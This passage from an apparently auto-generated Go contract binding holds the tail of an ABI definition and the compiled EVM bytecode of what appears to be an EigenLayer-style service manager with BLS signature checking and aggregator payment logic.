\"type\":\"uint256\",\"internalType\":\"uint256\"}]},{\"type\":\"error\",\"name\":\"SenderIsNotAggregator\",\"inputs\":[{\"name\":\"sender\",\"type\":\"address\",\"internalType\":\"address\"},{\"name\":\"alignedAggregator\",\"type\":\"address\",\"internalType\":\"address\"}]}]", + Bin: "0x6101806040523480156200001257600080fd5b50604051620063e9380380620063e9833981016040819052620000359162000419565b6001600160a01b0380851660805280841660a05280831660c052811660e05281848482846200006362000341565b50505050806001600160a01b0316610100816001600160a01b031681525050806001600160a01b031663683048356040518163ffffffff1660e01b8152600401602060405180830381865afa158015620000c1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620000e7919062000481565b6001600160a01b0316610120816001600160a01b031681525050806001600160a01b0316635df459466040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000140573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000166919062000481565b6001600160a01b0316610140816001600160a01b031681525050610120516001600160a01b031663df5cf7236040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e8919062000481565b6001600160a01b0390811661016052851690506200023d57604051630b0f5aa160e11b815260206004820152600c60248201526b6176734469726563746f727960a01b60448201526064015b60405180910390fd5b6001600160a01b0383166200028b57604051630b0f5aa160e11b81526020600482015260126024820152713932bbb0b93239a1b7b7b93234b730ba37b960711b604482015260640162000234565b6001600160a01b038216620002e457604051630b0f5aa160e11b815260206004820152601360248201527f7265676973747279436f6f7264696e61746f7200000000000000000000000000604482015260640162000234565b6001600160a01b0381166200032d57604051630b0f5aa160e11b815260206004820152600d60248201526c7374616b65526567697374727960981b604482015260640162000234565b6200033762000341565b50505050620004a8565b600054610100900460ff1615620003ab5760405162461bcd60e51b815260206004820152602760248201527f496e697469616c697a61626c653a20636f6e747261637420697320696e697469604482015266616c697a696e6760c81b606482015260840162000234565b60005460ff9081161015620003fe576000805460ff191660ff9081179091556040519081527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b565b6001600160a01b03811681146200041657600080fd5b50565b600080600080608085870312156200043057600080fd5b84516200043d8162000400565b6020860151909450620004508162000400565b6040860151909350620004638162000400565b6060860151909250620004768162000400565b939692955090935050565b6000602082840312156200049457600080fd5b8151620004a18162000400565b9392505050565b60805160a05160c05160e05161010051610120516101405161016051615e33620005b6600039600081816108390152611d8c01526000818161056a0152611f9f01526000818161059e0152818161218c015261237c0152600081816106050152818161159201528181611a5201528181611bf90152611e400152600081816112ca0152818161141b015281816114b201528181613045015281816131be015261325d0152600081816110f10152818161118001528181611200015281816127dc015281816128a801528181612f80015261311901526000818161397f01528181613a3b0152613b1e0152600081816105cf015281816128300152818161290401526129830152615e336000f3fe60806040526004361061028c5760003560e01c8063800fb61f1161015a578063df5cf723116100c1578063f9120af61161007a578063f9120af6146108f3578063fa534dc014610913578063fabc1cbc14610933578063fc299dee14610953578063fce36c7d14610973578063fd4c3b7c1461099357600080fd5b8063df5cf72314610827578063e481af9d1461085b578063ea5ca34b14610870578063f2fde38b14610886578063f474b520146108a6578063f7013ef6146108d357600080fd5b8063a98fb35511610113578063a98fb35514610730578063ab21739a14610750578063b099627e14610770578063b753645e146107da578063b98d0908146107fa578063d66eaabd1461081457600080fd5b8063800fb61f14610672578063886f1195146106925780638da5cb5b146106b257806395c6d604146106d05780639926ee7d146106f0578063a364f4da1461071057600080fd5b80634223d551116101fe5780635df45946116101b75780635df4594614610558578063683048351461058c5780636b3aa72e146105c05780636d14a987146105f357806370a0823114610627578063715018a61461065d57600080fd5b80634223d5511461047b5780634a5bf6321461048e5780634ae07c37146104c6578063595c6a67146104f45780635ac86ab7146105095780635c975abb1461053957600080fd5b806318daeeaf1161025057806318daeeaf146103ae5780632585b25b146103ce5780632e1a7d4d146103ee57806333cfb7b71461040e5780633bc28c8c1461043b578063416c7e5e1461045b57600080fd5b806306045a91146102d357806310d67a2f14610308578063136439dd14610328578063137122b514610348578063171f1d5b1461037757600080fd5b366102ce5760fc546005906020908116036102c25760405162461bcd60e51b81526004016102b990614b81565b60405180910390fd5b6102cc33346109b3565b005b600080fd5b3480156102df57600080fd5b506102f36102ee366004614cf4565b610a43565b60405190151581526020015b60405180910390f35b34801561031457600080fd5b506102cc610323366004614d86565b610b65565b34801561033457600080fd5b506102cc610343366004614da3565b610c18565b34801561035457600080fd5b506102f3610363366004614dcb565b60cc54600160ff9092169190911b16151590565b34801561038357600080fd5b50610397610392366004614ea8565b610d57565b6040805192151583529015156020830152016102ff565b3480156103ba57600080fd5b506102cc6103c9366004614dcb565b610ee1565b3480156103da57600080fd5b506102cc6103e9366004614ef9565b610f29565b3480156103fa57600080fd5b506102cc610409366004614da3565b610fcb565b34801561041a57600080fd5b5061042e610429366004614d86565b6110cc565b6040516102ff9190614f25565b34801561044757600080fd5b506102cc610456366004614d86565b61157f565b34801561046757600080fd5b506102cc610476366004614f80565b611590565b6102cc610489366004614d86565b6116c7565b34801561049a57600080fd5b5060cb546104ae906001600160a01b031681565b6040516001600160a01b0390911681526020016102ff565b3480156104d257600080fd5b506104e66104e136600461525b565b6116fd565b6040516102ff9291906152f6565b34801561050057600080fd5b506102cc612631565b34801561051557600080fd5b506102f3610524366004614dcb565b60fc54600160ff9092169190911b9081161490565b34801561054557600080fd5b5060fc545b6040519081526020016102ff565b34801561056457600080fd5b506104ae7f000000000000000000000000000000000000000000000000000000000000000081565b34801561059857600080fd5b506104ae7f000000000000000000000000000000000000000000000000000000000000000081565b3480156105cc57600080fd5b507f00000000000000000000000000000000000000000000000000000000000000006104ae565b3480156105ff57600080fd5b506104ae7f000000000000000000000000000000000000000000000000000000000000000081565b34801561063357600080fd5b5061054a610642366004614d86565b6001600160a01b0316600090815260ca602052604090205490565b34801561066957600080fd5b506102cc6126f8565b34801561067e57600080fd5b506102cc61068d366004614d86565b61270c565b34801561069e57600080fd5b5060fb546104ae906001600160a01b031681565b3480156106be57600080fd5b506033546001600160a01b03166104ae565b3480156106dc57600080fd5b506102f36106eb366004615387565b6127ac565b3480156106fc57600080fd5b506102cc61070b3660046153d2565b6127d1565b34801561071c57600080fd5b506102cc61072b366004614d86565b61289d565b34801561073c57600080fd5b506102cc61074b36600461547d565b612964565b34801561075c57600080fd5b506102cc61076b3660046154cd565b6129b8565b34801561077c57600080fd5b506107b861078b366004614da3565b60c9602052600090815260409020805460019091015463ffffffff821691640100000000900460ff169083565b6040805163ffffffff90941684529115156020840152908201526060016102ff565b3480156107e657600080fd5b506102cc6107f5366004614da3565b612d8a565b34801561080657600080fd5b506097546102f39060ff1681565b6102cc6108223660046154f4565b612d97565b34801561083357600080fd5b506104ae7f000000000000000000000000000000000000000000000000000000000000000081565b34801561086757600080fd5b5061042e612f7a565b34801561087c57600080fd5b5061054a60cc5481565b34801561089257600080fd5b506102cc6108a1366004614d86565b613326565b3480156108b257600080fd5b5061054a6108c1366004614d86565b60ca6020526000908152604090205481565b3480156108df57600080fd5b506102cc6108ee366004615546565b61339c565b3480156108ff57600080fd5b506102cc61090e366004614d86565b613575565b34801561091f57600080fd5b506102f361092e3660046155aa565b61359f565b34801561093f57600080fd5b506102cc61094e366004614da3565b61364a565b34801561095f57600080fd5b506065546104ae906001600160a01b031681565b34801561097f57600080fd5b506102cc61098e366004615627565b6137a6565b34801561099f57600080fd5b506102cc6109ae366004614dcb565b613b55565b806000036109d757604051632097692160e11b8152600481018290526024016102b9565b6001600160a01b038216600090815260ca6020526040812080548392906109ff9084906156b1565b90915550506001600160a01b038216600081815260ca6020908152604091829020549151918252600080516020615dbe833981519152910160405180910390a25050565b60fc54600090600290600490811603610a6e5760405162461bcd60e51b81526004016102b990614b81565b60006001600160a01b038416610a85575085610ab1565b8684604051602001610a989291906156c4565b6040516020818303038152906040528051906020012090505b600081815260c9602052604081205463ffffffff169003610ad6576000925050610b58565b600081815260c96020526040902054640100000000900460ff16610afe576000925050610b58565b60408051602081018d90529081018b9052606081018a90526001600160601b03198916608082015260009060940160408051601f1981840301815291905280516020820120909150610b52888a838a613b9c565b94505050505b5098975050505050505050565b60fb60009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bb8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bdc91906156df565b6001600160a01b0316336001600160a01b031614610c0c5760405162461bcd60e51b81526004016102b9906156fc565b610c1581613bb4565b50565b60fb5460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015610c60573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c849190615746565b610ca05760405162461bcd60e51b81526004016102b990615763565b60fc5481811614610d195760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c697479000000000000000060648201526084016102b9565b60fc81905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60008060007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000187876000015188602001518860000151600060028110610d9f57610d9f6157ab565b60200201518951600160200201518a60200151600060028110610dc457610dc46157ab565b60200201518b60200151600160028110610de057610de06157ab565b602090810291909101518c518d830151604051610e3d9a99989796959401988952602089019790975260408801959095526060870193909352608086019190915260a085015260c084015260e08301526101008201526101200190565b6040516020818303038152906040528051906020012060001c610e6091906157c1565b9050610ed3610e79610e728884613cab565b8690613d3c565b610e81613dd1565b610ec9610eba85610eb4604080518082018252600080825260209182015281518083019092526001825260029082015290565b90613cab565b610ec38c613e91565b90613d3c565b886201d4c0613f20565b909890975095505050505050565b610ee961413a565b60cc8054600160ff841690811b199091169091556040517f5f52704e8e0190647930ccde0e43e14e89902d7d8c49c5f9e2544029f45ec12a90600090a250565b600054600390610100900460ff16158015610f4b575060005460ff8083169116105b610f675760405162461bcd60e51b81526004016102b9906157e3565b6000805461ffff191660ff831617610100179055610f858383614194565b6000805461ff001916905560405160ff821681527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a1505050565b60fc54600390600890811603610ff35760405162461bcd60e51b81526004016102b990614b81565b33600090815260ca60205260409020548211156110445733600081815260ca602052604090819020549051632e2a182f60e11b815260048101929092526024820184905260448201526064016102b9565b33600090815260ca602052604081208054849290611063908490615831565b909155505033600081815260ca6020908152604091829020549151918252600080516020615dbe833981519152910160405180910390a2604051339083156108fc029084906000818181858888f193505050501580156110c7573d6000803e3d6000fd5b505050565b6040516309aa152760e11b81526001600160a01b0382811660048301526060916000917f000000000000000000000000000000000000000000000000000000000000000016906313542a4e90602401602060405180830381865afa158015611138573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061115c9190615844565b60405163871ef04960e01b8152600481018290529091506000906001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063871ef04990602401602060405180830381865afa1580156111c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111eb919061585d565b90506001600160c01b038116158061128557507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561125c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112809190615886565b60ff16155b156112a55760408051600080825260208201909252905b50949350505050565b60006112b9826001600160c01b031661427a565b90506000805b8251811015611385577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316633ca5a5f5848381518110611309576113096157ab565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa15801561134d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113719190615844565b61137b90836156b1565b91506001016112bf565b506000816001600160401b038111156113a0576113a0614bd0565b6040519080825280602002602001820160405280156113c9578160200160208202803683370190505b5090506000805b84518110156115725760008582815181106113ed576113ed6157ab565b0160200151604051633ca5a5f560e01b815260f89190911c6004820181905291506000906001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690633ca5a5f590602401602060405180830381865afa158015611462573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114869190615844565b905060005b81811015611567576040516356e4026d60e11b815260ff84166004820152602481018290527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063adc804da906044016040805180830381865afa158015611500573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061152491906158b8565b6000015186868151811061153a5761153a6157ab565b6001600160a01b03909216602092830291909101909101528461155c816158f9565b95505060010161148b565b5050506001016113d0565b5090979650505050505050565b61158761413a565b610c158161433c565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115ee573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061161291906156df565b6001600160a01b0316336001600160a01b0316146116be5760405162461bcd60e51b815260206004820152605c60248201527f424c535369676e6174757265436865636b65722e6f6e6c79436f6f7264696e6160448201527f746f724f776e65723a2063616c6c6572206973206e6f7420746865206f776e6560648201527f72206f6620746865207265676973747279436f6f7264696e61746f7200000000608482015260a4016102b9565b610c15816143a5565b60fc546004906010908116036116ef5760405162461bcd60e51b81526004016102b990614b81565b6116f982346109b3565b5050565b6040805180820190915260608082526020820152600082604001515160405180604001604052806001815260200160008152505114801561175957508260a0015151604051806040016040528060018152602001600081525051145b801561178057508260c0015151604051806040016040528060018152602001600081525051145b80156117a757508260e0015151604051806040016040528060018152602001600081525051145b6118115760405162461bcd60e51b81526020600482015260416024820152600080516020615dde83398151915260448201527f7265733a20696e7075742071756f72756d206c656e677468206d69736d6174636064820152600d60fb1b608482015260a4016102b9565b825151602084015151146118895760405162461bcd60e51b815260206004820152604460248201819052600080516020615dde833981519152908201527f7265733a20696e707574206e6f6e7369676e6572206c656e677468206d69736d6064820152630c2e8c6d60e31b608482015260a4016102b9565b4363ffffffff168463ffffffff16106118f85760405162461bcd60e51b815260206004820152603c6024820152600080516020615dde83398151915260448201527f7265733a20696e76616c6964207265666572656e636520626c6f636b0000000060648201526084016102b9565b60408051808201825260008082526020808301829052835180850185526060808252818301528451808601865260018082529083019390935284518381528086019095529293919082810190803683370190505060208281019190915260408051808201825260018082526000919093015280518281528082019091529081602001602082028036833701905050815260408051808201909152606080825260208201528560200151516001600160401b038111156119b9576119b9614bd0565b6040519080825280602002602001820160405280156119e2578160200160208202803683370190505b5081526020860151516001600160401b03811115611a0257611a02614bd0565b604051908082528060200260200182016040528015611a2b578160200160208202803683370190505b5081602001819052506000611ad760405180604001604052806001815260200160008152507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015611aae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ad29190615886565b6143ec565b905060005b876020015151811015611d6857611b2188602001518281518110611b0257611b026157ab565b6020026020010151805160009081526020918201519091526040902090565b83602001518281518110611b3757611b376157ab565b60209081029190910101528015611bf7576020830151611b58600183615831565b81518110611b6857611b686157ab565b602002602001015160001c83602001518281518110611b8957611b896157ab565b602002602001015160001c11611bf7576040805162461bcd60e51b8152602060048201526024810191909152600080516020615dde83398151915260448201527f7265733a206e6f6e5369676e65725075626b657973206e6f7420736f7274656460648201526084016102b9565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166304ec635184602001518381518110611c3c57611c3c6157ab565b60200260200101518b8b600001518581518110611c5b57611c5b6157ab565b60200260200101516040518463ffffffff1660e01b8152600401611c989392919092835263ffffffff918216602084015216604082015260600190565b602060405180830381865afa158015611cb5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cd9919061585d565b6001600160c01b031683600001518281518110611cf857611cf86157ab565b602002602001018181525050611d5e610e72611d328486600001518581518110611d2457611d246157ab565b60200260200101511661447f565b8a602001518481518110611d4857611d486157ab565b60200260200101516144aa90919063ffffffff16565b9450600101611adc565b5050611d738361458d565b60975490935060ff16600081611d8a576000611e0c565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c448feb86040518163ffffffff1660e01b8152600401602060405180830381865afa158015611de8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e0c9190615844565b905060005b604051806040016040528060018152602001600081525051811015612502578215611f9d578963ffffffff16827f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663249a0c4260405180604001604052806001815260200160008152508581518110611e9557611e956157ab565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa158015611ed9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611efd9190615844565b611f0791906156b1565b11611f9d5760405162461bcd60e51b81526020600482015260666024820152600080516020615dde83398151915260448201527f7265733a205374616b6552656769737472792075706461746573206d7573742060648201527f62652077697468696e207769746864726177616c44656c6179426c6f636b732060848201526577696e646f7760d01b60a482015260c4016102b9565b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03166368bccaac60405180604001604052806001815260200160008152508381518110611ff457611ff46157ab565b602001015160f81c60f81b60f81c8c8c60a001518581518110612019576120196157ab565b60209081029190910101516040516001600160e01b031960e086901b16815260ff909316600484015263ffffffff9182166024840152166044820152606401602060405180830381865afa158015612075573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120999190615912565b6001600160401b0319166120bc8a604001518381518110611b0257611b026157ab565b67ffffffffffffffff1916146121585760405162461bcd60e51b81526020600482015260616024820152600080516020615dde83398151915260448201527f7265733a2071756f72756d41706b206861736820696e2073746f72616765206460648201527f6f6573206e6f74206d617463682070726f76696465642071756f72756d2061706084820152606b60f81b60a482015260c4016102b9565b61218889604001518281518110612171576121716157ab565b602002602001015187613d3c90919063ffffffff16565b95507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c8294c56604051806040016040528060018152602001600081525083815181106121e1576121e16157ab565b602001015160f81c60f81b60f81c8c8c60c001518581518110612206576122066157ab565b60209081029190910101516040516001600160e01b031960e086901b16815260ff909316600484015263ffffffff9182166024840152166044820152606401602060405180830381865afa158015612262573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612286919061593d565b8560200151828151811061229c5761229c6157ab565b6001600160601b039092166020928302919091018201528501518051829081106122c8576122c86157ab565b6020026020010151856000015182815181106122e6576122e66157ab565b60200260200101906001600160601b031690816001600160601b0316815250506000805b8a60200151518110156124f85761237586600001518281518110612330576123306157ab565b602002602001015160405180604001604052806001815260200160008152508581518110612360576123606157ab565b016020015160f81c60ff161c60019081161490565b156124f0577f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663f2be94ae604051806040016040528060018152602001600081525085815181106123d1576123d16157ab565b602001015160f81c60f81b60f81c8e896020015185815181106123f6576123f66157ab565b60200260200101518f60e001518881518110612414576124146157ab565b6020026020010151878151811061242d5761242d6157ab565b60209081029190910101516040516001600160e01b031960e087901b16815260ff909416600485015263ffffffff92831660248501526044840191909152166064820152608401602060405180830381865afa158015612491573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124b5919061593d565b87518051859081106124c9576124c96157ab565b602002602001018181516124dd919061595a565b6001600160601b03169052506001909101905b60010161230a565b5050600101611e11565b50505060008061251c8a868a606001518b60800151610d57565b915091508161258d5760405162461bcd60e51b81526020600482015260436024820152600080516020615dde83398151915260448201527f7265733a2070616972696e6720707265636f6d70696c652063616c6c206661696064820152621b195960ea1b608482015260a4016102b9565b806125ee5760405162461bcd60e51b81526020600482015260396024820152600080516020615dde83398151915260448201527f7265733a207369676e617475726520697320696e76616c69640000000000000060648201526084016102b9565b50506000878260200151604051602001612609929190615981565b60408051808303601f1901815291905280516020909101209299929850919650505050505050565b60fb5460405163237dfb4760e11b81523360048201526001600160a01b03909116906346fbf68e90602401602060405180830381865afa158015612679573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061269d9190615746565b6126b95760405162461bcd60e51b81526004016102b990615763565b60001960fc81905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b61270061413a565b61270a6000614628565b565b600054600290610100900460ff1615801561272e575060005460ff8083169116105b61274a5760405162461bcd60e51b81526004016102b9906157e3565b6000805461ffff191660ff83161761010017905561276782613575565b6000805461ff001916905560405160ff821681527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15050565b60008184846040516127bf9291906159c9565b60405180910390201490509392505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146128195760405162461bcd60e51b81526004016102b9906159d9565b604051639926ee7d60e01b81526001600160a01b037f00000000000000000000000000000000000000000000000000000000000000001690639926ee7d906128679085908590600401615a97565b600060405180830381600087803b15801561288157600080fd5b505af1158015612895573d6000803e3d6000fd5b505050505050565b336001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016146128e55760405162461bcd60e51b81526004016102b9906159d9565b6040516351b27a6d60e11b81526001600160a01b0382811660048301527f0000000000000000000000000000000000000000000000000000000000000000169063a364f4da906024015b600060405180830381600087803b15801561294957600080fd5b505af115801561295d573d6000803e3d6000fd5b5050505050565b61296c61413a565b60405163a98fb35560e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063a98fb3559061292f908490600401615ae2565b60cb546001600160a01b031633146129f85760cb54604051632cbe419560e01b81523360048201526001600160a01b0390911660248201526044016102b9565b60fc54600190600290811603612a205760405162461bcd60e51b81526004016102b990614b81565b60005a905060008585604051602001612a3a9291906156c4565b60408051601f198184030181529181528151602092830120600081815260c990935290822080549193509163ffffffff9091169003612a8f576040516311cb69a760e11b8152600481018390526024016102b9565b8054640100000000900460ff1615612abd57604051634e78d7f960e11b8152600481018390526024016102b9565b805464ff00000000191664010000000017815560018101546001600160a01b038716600090815260ca60205260409020541015612b405760018101546001600160a01b038716600081815260ca602052604090819020549051632e2a182f60e11b81526004810192909252602482019290925260448101919091526064016102b9565b8054600090612b5790849063ffffffff16886116fd565b509050604360ff168160200151600081518110612b7657612b766157ab565b6020026020010151612b889190615af5565b6001600160601b031660648260000151600081518110612baa57612baa6157ab565b60200260200101516001600160601b0316612bc59190615b18565b1015612c585760648160000151600081518110612be457612be46157ab565b60200260200101516001600160601b0316612bff9190615b18565b604360ff168260200151600081518110612c1b57612c1b6157ab565b6020026020010151612c2d9190615af5565b60405163530f5c4560e11b815260048101929092526001600160601b031660248201526044016102b9565b6040516001600160a01b038816815288907f8511746b73275e06971968773119b9601fc501d7bdf3824d8754042d148940e29060200160405180910390a260003a5a612ca49087615831565b612cb190620111706156b1565b612cbb9190615b18565b9050600083600101548210612cd4578360010154612cd6565b815b6001600160a01b038a16600090815260ca6020526040812080549293508392909190612d03908490615831565b90915550506001600160a01b038916600081815260ca6020908152604091829020549151918252600080516020615dbe833981519152910160405180910390a260cb546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015612d7d573d6000803e3d6000fd5b5050505050505050505050565b612d9261413a565b60cc55565b60fc54600090600190811603612dbf5760405162461bcd60e51b81526004016102b990614b81565b60008533604051602001612dd49291906156c4565b60408051601f198184030181529181528151602092830120600081815260c990935291205490915063ffffffff1615612e2357604051630c40bc4360e21b8152600481018290526024016102b9565b3415612e805733600090815260ca602052604081208054349290612e489084906156b1565b909155505033600081815260ca6020908152604091829020549151918252600080516020615dbe833981519152910160405180910390a25b33600090815260ca6020526040902054831115612ed15733600081815260ca602052604090819020549051632e2a182f60e11b815260048101929092526024820185905260448201526064016102b9565b604080516060810182526000602080830182815263ffffffff4381811686528587018a815288865260c99094529386902085518154935115156401000000000264ffffffffff1990941692169190911791909117815590516001909101559151909188917f8801fc966deb2c8f563a103c35c9e80740585c292cd97518587e6e7927e6af5591612f69913391908b908b908b90615b2f565b60405180910390a250505050505050565b606060007f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015612fdc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130009190615886565b60ff1690508060000361302157505060408051600081526020810190915290565b6000805b828110156130cc57604051633ca5a5f560e01b815260ff821660048201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690633ca5a5f590602401602060405180830381865afa158015613094573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130b89190615844565b6130c290836156b1565b9150600101613025565b506000816001600160401b038111156130e7576130e7614bd0565b604051908082528060200260200182016040528015613110578160200160208202803683370190505b5090506000805b7f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015613175573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906131999190615886565b60ff1681101561331c57604051633ca5a5f560e01b815260ff821660048201526000907f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031690633ca5a5f590602401602060405180830381865afa15801561320d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132319190615844565b905060005b81811015613312576040516356e4026d60e11b815260ff84166004820152602481018290527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063adc804da906044016040805180830381865afa1580156132ab573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906132cf91906158b8565b600001518585815181106132e5576132e56157ab565b6001600160a01b039092166020928302919091019091015283613307816158f9565b945050600101613236565b5050600101613117565b5090949350505050565b61332e61413a565b6001600160a01b0381166133935760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016102b9565b610c1581614628565b600054610100900460ff16158080156133bc5750600054600160ff909116105b806133d65750303b1580156133d6575060005460ff166001145b6133f25760405162461bcd60e51b81526004016102b9906157e3565b6000805460ff191660011790558015613415576000805461ff0019166101001790555b6001600160a01b03861661345b57604051630b0f5aa160e11b815260206004820152600c60248201526b34b734ba34b0b627bbb732b960a11b60448201526064016102b9565b6001600160a01b0385166134a557604051630b0f5aa160e11b815260206004820152601060248201526f3932bbb0b93239a4b734ba34b0ba37b960811b60448201526064016102b9565b6001600160a01b0384166134f057604051630b0f5aa160e11b815260206004820152601160248201527030b634b3b732b220b3b3b932b3b0ba37b960791b60448201526064016102b9565b6134fa868661467a565b60cb80546001600160a01b0319166001600160a01b03861617905561351e86614628565b6135288383614194565b8015612895576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a1505050505050565b61357d61413a565b60cb80546001600160a01b0319166001600160a01b0392909216919091179055565b60fc546000906002906004908116036135ca5760405162461bcd60e51b81526004016102b990614b81565b6040516306045a9160e01b815230906306045a91906135fc908c908c908c908c908c908c908c90600090600401615b86565b602060405180830381865afa158015613619573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061363d9190615746565b9998505050505050505050565b60fb60009054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561369d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906136c191906156df565b6001600160a01b0316336001600160a01b0316146136f15760405162461bcd60e51b81526004016102b9906156fc565b60fc5419811960fc5419161461376f5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c697479000000000000000060648201526084016102b9565b60fc81905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c90602001610d4c565b6065546001600160a01b0316331461383b5760405162461bcd60e51b815260206004820152604c60248201527f536572766963654d616e61676572426173652e6f6e6c7952657761726473496e60448201527f69746961746f723a2063616c6c6572206973206e6f742074686520726577617260648201526b32399034b734ba34b0ba37b960a11b608482015260a4016102b9565b60005b81811015613b0657828282818110613858576138586157ab565b905060200281019061386a9190615be8565b61387b906040810190602001614d86565b6001600160a01b03166323b872dd333086868681811061389d5761389d6157ab565b90506020028101906138af9190615be8565b604080516001600160e01b031960e087901b1681526001600160a01b039485166004820152939092166024840152013560448201526064016020604051808303816000875af1158015613906573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061392a9190615746565b50600083838381811061393f5761393f6157ab565b90506020028101906139519190615be8565b613962906040810190602001614d86565b604051636eb1769f60e11b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063dd62ed3e90604401602060405180830381865afa1580156139d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139f49190615844565b9050838383818110613a0857613a086157ab565b9050602002810190613a1a9190615be8565b613a2b906040810190602001614d86565b6001600160a01b031663095ea7b37f000000000000000000000000000000000000000000000000000000000000000083878787818110613a6d57613a6d6157ab565b9050602002810190613a7f9190615be8565b60400135613a8d91906156b1565b6040516001600160e01b031960e085901b1681526001600160a01b03909216600483015260248201526044016020604051808303816000875af1158015613ad8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190613afc9190615746565b505060010161383e565b5060405163fce36c7d60e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063fce36c7d906128679085908590600401615c6e565b613b5d61413a565b60cc8054600160ff841690811b9091179091556040517fec54a85c01b5fc7fb41be0f33eabc56f2981110da8317b9817bc7c718f6d7bfe90600090a250565b600083613baa8685856146f7565b1495945050505050565b6001600160a01b038116613c425760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a4016102b9565b60fb54604080516001600160a01b03928316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a160fb80546001600160a01b0319166001600160a01b0392909216919091179055565b6040805180820190915260008082526020820152613cc7614aa7565b83518152602080850151